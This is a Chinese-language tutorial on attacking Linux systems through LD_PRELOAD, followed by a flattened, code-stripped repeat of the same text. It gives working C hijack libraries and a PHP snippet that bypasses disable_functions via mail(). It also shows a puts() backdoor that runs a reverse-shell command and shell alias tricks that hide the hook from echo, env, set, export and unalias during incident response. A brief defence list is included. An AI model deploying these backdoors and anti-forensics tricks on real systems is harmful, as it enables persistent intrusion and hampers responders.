LD_PRELOAD机制在安全领域的攻击面探析
字数 1818 2025-08-06 08:35:32

LD_PRELOAD机制在安全领域的攻击面探析

1. LD_PRELOAD基础概念

LD_PRELOAD是Linux中的环境变量,用于指定动态库的加载地址。当程序运行时,LD_PRELOAD指定的动态库会被优先加载,优先级高于其他库。这使得我们可以通过LD_PRELOAD劫持系统函数的调用。

1.1 链接类型

在理解LD_PRELOAD前,需要了解程序链接的几种方式:

静态链接

  • 在编译时发生,所有库代码被复制到最终可执行文件中
  • 特点:自包含、文件较大、启动快、移植性好

动态链接

  • 在运行时发生,程序只包含对外部共享库的引用
  • 特点:共享库、文件较小、便于更新维护、依赖外部库

其他链接类型

  • 加载时链接(Load-Time Dynamic Linking):程序启动时链接
  • 运行时链接(Run-Time Dynamic Linking):通过dlopen/dlsym动态加载

1.2 动态链接库(.so文件)

Linux下的动态链接库以.so(Shared Object)为扩展名:

  • 使用C/C++编写,通过gcc编译
  • 编译选项:-shared-fPIC(Position Independent Code)
  • 位置无关代码(PIC)可在内存任意位置执行,无需修改

2. LD_PRELOAD劫持原理

2.1 基本劫持流程

  1. 编写恶意动态库,覆盖目标函数
  2. 设置LD_PRELOAD环境变量指向恶意库
  3. 触发目标程序执行,优先加载恶意库

2.2 示例演示

2.2.1 创建正常共享库

// libmyfunctions.c
#include <stdio.h>

void myFunction(){
  printf("Hello from the shared library!\n");
}

编译:

gcc -fPIC -shared -o libmyfunctions.so libmyfunctions.c

2.2.2 主程序调用

// main.c
void myFunction();

int main(){
  myFunction();
  return 0;
}

编译并链接:

gcc -o main main.c -L. -lmyfunctions

2.2.3 劫持示例

// evil.c
#include <stdlib.h>
#include <stdio.h>
#include <string.h>

void payload() {
    system("id > /tmp/evil.txt");
}

int geteuid() {
    if (getenv("LD_PRELOAD") == NULL) { return 0; }
    unsetenv("LD_PRELOAD");
    payload();
}

编译:

gcc -c -fPIC evil.c -o evil
gcc -shared evil -o evil.so

使用:

export LD_PRELOAD=./evil.so
./main

3. 安全领域的应用

3.1 绕过PHP disable_functions

当PHP配置了disable_functions限制时,可通过LD_PRELOAD绕过:

  1. 找到PHP中会调用外部命令的函数,如mail()(调用sendmail)
  2. 劫持sendmail使用的库函数(如geteuid)
  3. 通过PHP设置LD_PRELOAD并触发mail()调用

3.1.1 实施步骤

  1. 查看sendmail使用的库函数:
readelf -Ws /usr/sbin/sendmail
  1. 选择合适函数劫持(如geteuid)

  2. PHP代码示例:

<?php
putenv("LD_PRELOAD=/tmp/evil.so");
mail("a@localhost","","","","");
?>

3.2 蚁剑中的LD_PRELOAD绕过

蚁剑插件实现方式:

  1. 上传恶意so文件
  2. so文件执行php -n -S 127.0.0.1:PORT -t /webroot
    • -n不使用php.ini绕过限制
  3. 上传代理脚本转发请求到新服务

3.3 后渗透应用

3.3.1 二进制后门

劫持常见命令如whoami的库函数:

#include <stdio.h>
#include <unistd.h>
#include <dlfcn.h>
#include <stdlib.h>

int puts(const char *message) {
  int (*new_puts)(const char *message);
  int result;
  new_puts = dlsym(RTLD_NEXT, "puts");
  system("反弹shell命令");
  result = new_puts(message);
  return result;
}

特点:

  • 使用dlsym(RTLD_NEXT)获取原函数指针
  • 执行恶意代码后调用原函数
  • 不影响正常功能

3.3.2 对抗应急响应

隐藏LD_PRELOAD痕迹:

  1. 对抗echo:
alias echo='func(){ echo $* | sed "s!/root/hook.so! !g";};func'
  1. 对抗env:
alias env='func(){ env $* | grep -v "/root/hook.so";};func'
  1. 对抗set:
alias set='func(){ set $* | grep -v "/root/hook.so";};func'
  1. 对抗export:
alias export='func(){ export $* | grep -v "/root/hook.so";};func'
  1. 善后处理alias和unalias:
alias alias='func(){ alias "$@" | grep -v unalias | grep -v hook.so;};func'
alias unalias='func(){ 
  if [ $# != 0 ]; then 
    if [ $* != "echo" ]&&[ $* != "env" ]&&[ $* != "set" ]&&[ $* != "export" ]&&[ $* != "alias" ]&&[ $* != "unalias" ]; then 
      unalias $*;
    else 
      echo "-bash: unalias: ${*}: not found";
    fi;
  else 
    echo "unalias: usage: unalias [-a] name [name ...]";
  fi;
};func'

3.4 其他有趣应用

3.4.1 劫持随机数生成

劫持rand()函数使程序行为可预测:

#include <stdio.h>

int rand(void) {
    return 42; // 固定返回值
}

编译使用:

gcc -fPIC -shared rand_hijack.c -o rand_hijack.so
LD_PRELOAD=./rand_hijack.so ./guessing_game

3.4.2 CVE-2017-17562

GoAhead Web服务器漏洞(2.5.0-3.6.4):

  • 启用CGI并动态链接CGI程序时
  • 使用不可信HTTP参数初始化CGI环境
  • 可通过LD_PRELOAD实现RCE

4. 防御与限制

  1. 使用readonly命令设置环境变量:
readonly LD_PRELOAD
  1. SUID/SGID程序会忽略LD_PRELOAD

  2. 静态编译关键程序

  3. 监控环境变量修改

  4. 使用完整路径执行命令

5. 关键知识点总结

  1. 查找可劫持函数:
readelf -Ws /path/to/binary
ltrace ./program
  1. 编译选项:
  • -fPIC:生成位置无关代码
  • -shared:生成共享库
  1. 函数劫持要点:
  • 保持函数签名一致
  • 使用dlsym(RTLD_NEXT)获取原函数
  • 执行恶意代码后恢复原功能
  1. 适用场景:
  • 绕过安全限制(disable_functions)
  • 植入后门
  • 修改程序行为
  • 调试和测试

6. 参考资源

  1. 动态链接手册:man dlopen
  2. 函数手册:如man puts
  3. Coreutils源码:git clone git://git.sv.gnu.org/coreutils
  4. 相关CVE分析:CVE-2017-17562

通过深入理解LD_PRELOAD机制,安全研究人员可以更好地发现和防御相关攻击,同时也为渗透测试和后渗透提供了强有力的技术手段。

LD_ PRELOAD机制在安全领域的攻击面探析 1. LD_ PRELOAD基础概念 LD_ PRELOAD是Linux中的环境变量,用于指定动态库的加载地址。当程序运行时,LD_ PRELOAD指定的动态库会被优先加载,优先级高于其他库。这使得我们可以通过LD_ PRELOAD劫持系统函数的调用。 1.1 链接类型 在理解LD_ PRELOAD前,需要了解程序链接的几种方式: 静态链接 在编译时发生,所有库代码被复制到最终可执行文件中 特点:自包含、文件较大、启动快、移植性好 动态链接 在运行时发生,程序只包含对外部共享库的引用 特点:共享库、文件较小、便于更新维护、依赖外部库 其他链接类型 加载时链接(Load-Time Dynamic Linking):程序启动时链接 运行时链接(Run-Time Dynamic Linking):通过dlopen/dlsym动态加载 1.2 动态链接库(.so文件) Linux下的动态链接库以.so(Shared Object)为扩展名: 使用C/C++编写,通过gcc编译 编译选项: -shared 和 -fPIC (Position Independent Code) 位置无关代码(PIC)可在内存任意位置执行,无需修改 2. LD_ PRELOAD劫持原理 2.1 基本劫持流程 编写恶意动态库,覆盖目标函数 设置LD_ PRELOAD环境变量指向恶意库 触发目标程序执行,优先加载恶意库 2.2 示例演示 2.2.1 创建正常共享库 编译: 2.2.2 主程序调用 编译并链接: 2.2.3 劫持示例 编译: 使用: 3. 安全领域的应用 3.1 绕过PHP disable_ functions 当PHP配置了disable_ functions限制时,可通过LD_ PRELOAD绕过: 找到PHP中会调用外部命令的函数,如mail()(调用sendmail) 劫持sendmail使用的库函数(如geteuid) 通过PHP设置LD_ PRELOAD并触发mail()调用 3.1.1 实施步骤 查看sendmail使用的库函数: 选择合适函数劫持(如geteuid) PHP代码示例: 3.2 蚁剑中的LD_ PRELOAD绕过 蚁剑插件实现方式: 上传恶意so文件 so文件执行 php -n -S 127.0.0.1:PORT -t /webroot -n 不使用php.ini绕过限制 上传代理脚本转发请求到新服务 3.3 后渗透应用 3.3.1 二进制后门 劫持常见命令如whoami的库函数: 特点: 使用dlsym(RTLD_ NEXT)获取原函数指针 执行恶意代码后调用原函数 不影响正常功能 3.3.2 对抗应急响应 隐藏LD_ PRELOAD痕迹: 对抗echo: 对抗env: 对抗set: 对抗export: 善后处理alias和unalias: 3.4 其他有趣应用 3.4.1 劫持随机数生成 劫持rand()函数使程序行为可预测: 编译使用: 3.4.2 CVE-2017-17562 GoAhead Web服务器漏洞(2.5.0-3.6.4): 启用CGI并动态链接CGI程序时 使用不可信HTTP参数初始化CGI环境 可通过LD_ PRELOAD实现RCE 4. 防御与限制 使用 readonly 命令设置环境变量: SUID/SGID程序会忽略LD_ PRELOAD 静态编译关键程序 监控环境变量修改 使用完整路径执行命令 5. 关键知识点总结 查找可劫持函数: 编译选项: -fPIC :生成位置无关代码 -shared :生成共享库 函数劫持要点: 保持函数签名一致 使用dlsym(RTLD_ NEXT)获取原函数 执行恶意代码后恢复原功能 适用场景: 绕过安全限制(disable_ functions) 植入后门 修改程序行为 调试和测试 6. 参考资源 动态链接手册: man dlopen 函数手册:如 man puts Coreutils源码: git clone git://git.sv.gnu.org/coreutils 相关CVE分析:CVE-2017-17562 通过深入理解LD_ PRELOAD机制,安全研究人员可以更好地发现和防御相关攻击,同时也为渗透测试和后渗透提供了强有力的技术手段。